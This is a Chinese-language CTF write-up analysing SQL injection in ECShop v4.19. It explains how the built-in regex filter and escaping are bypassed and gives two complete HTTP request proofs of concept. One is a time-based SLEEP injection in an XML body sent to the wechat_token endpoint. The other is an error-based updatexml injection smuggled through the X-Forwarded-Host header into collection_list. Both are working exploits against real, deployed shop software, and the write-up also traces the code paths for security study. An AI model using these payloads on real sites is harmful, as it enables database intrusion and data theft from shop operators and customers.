版本 :v4.19
强网拟态的一道题,网上大多都不公开poc,这里分享一下我的分析过程
安全机制 去网上搜索一下历史漏洞会发现,ECshop这套代码爆出过不少sql注入漏洞
是因为这套系统很喜欢直接把变量拼接到sql语句中(看起来已经被各位师傅审烂了)
修修补补之后,即使直接拼接变量,也不太好找sql注入了,主要是以下两个地方增加了安全校验
每个文件都会引入加载 /includes/init.php,安全的检查主要在这个文件里
进入init.php可以看到,加载了一个safety.php
模式匹配 在safety.php 里,使用正则匹配去匹配危险模式
会对每个传入的变量进行校验
匹配的较为完善,不是很好绕
并且在正则匹配过后,还会在init.php里对传入变量进行转义
正则匹配 + 转义,看起来已经无法sql注入了,接下来看各位大哥如何绕过
SQL注入-1 先放poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 GET /user.php?act=wechat_token HTTP/2 Host: x.x.x.x Cookie: ECS[visit_times]=3; ECS_ID=591272e1d0fd2ee9027c0d7ab0d8922e92035a0d User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Content-Length: 195 <?xml version="1.0"?> <user> <Event>scan</Event> <EventKey>' AND (SELECT 1649 FROM (SELECT(SLEEP(5)))nsIj) AND 'RKvz'='RKvz</EventKey> <FromUserName>123456</FromUserName> </user>
根据poc可以知道,user.php的wechat_token接口的漏洞,看代码
实例化一个WeChatEvent —> 用php伪协议拿到请求体 —-> 然后xml转为字符串 —–> 最后用call_user_func去调用方法 注意到两点,1. 使用php伪协议,导致传入的参数并没有转义,也不会被检测,之前的检测全部针对于get和post传参
2.call_user_func_array 的方法名和数据是用户可控
然后去看WeChatEvent类
全部是直接拼接,最后导致注入
SQL注入-2 已知大量存在变量直接拼接sql语句,上面是利用php伪协议进行的绕过,这里第二处利用的是http请求头 注入位置在 user.php 的collection_list 接口
这个是在 2.X/3.X 就爆出来的,只是拿先前版本的打不通,但是只需简单修改就能使用(为什么呢,因为版本不同导致的ehash不同罢了🤪)
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET /user.php?act=collection_list HTTP/2 Host: x.x.x.x Cookie: ECS[visit_times]=3; ECS_ID=591272e1d0fd2ee9027c0d7ab0d8922e92035a0d; ECSCP_ID=4b2401b5af4843a95a7e19b45f5acb32ec20802b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 X-Forwarded-Host: 145ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|145ea207d7a2b68c49582d2d22adf953a Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers
利用链
1 url() --> get_domain()替换变量 --> display() --> insert_mod() 这里分割参数 --> 最后变量拼接sql语句
先看insert_mod方法
对传入的参数 以|分割,然后调用函数,也就是说我们可以任意调用insert_开头的方法,参数也是由我们定 所以去找满足条件的函数
在lib_clips.php里就有这么一个函数
collection_list 接口也会包含这个文件
接下来看url方法
触发get_domain
get_domain会把http请求头中的HTTP_X_FORWARDED_HOST赋值给$host, 然后返回
smarty注册,返回的host被注册进模板变量
最后在display函数里触发sink点,完成闭环
所以最后的流程就是
1 url() --> get_domain()替换变量 --> assign注册变量--> display的时候对变量进行处理,触发insert_mod() --> insert_mod 这里分割参数,调用用户设定好的函数和参数 --> 最后调用函数,传入参数拼接sql语句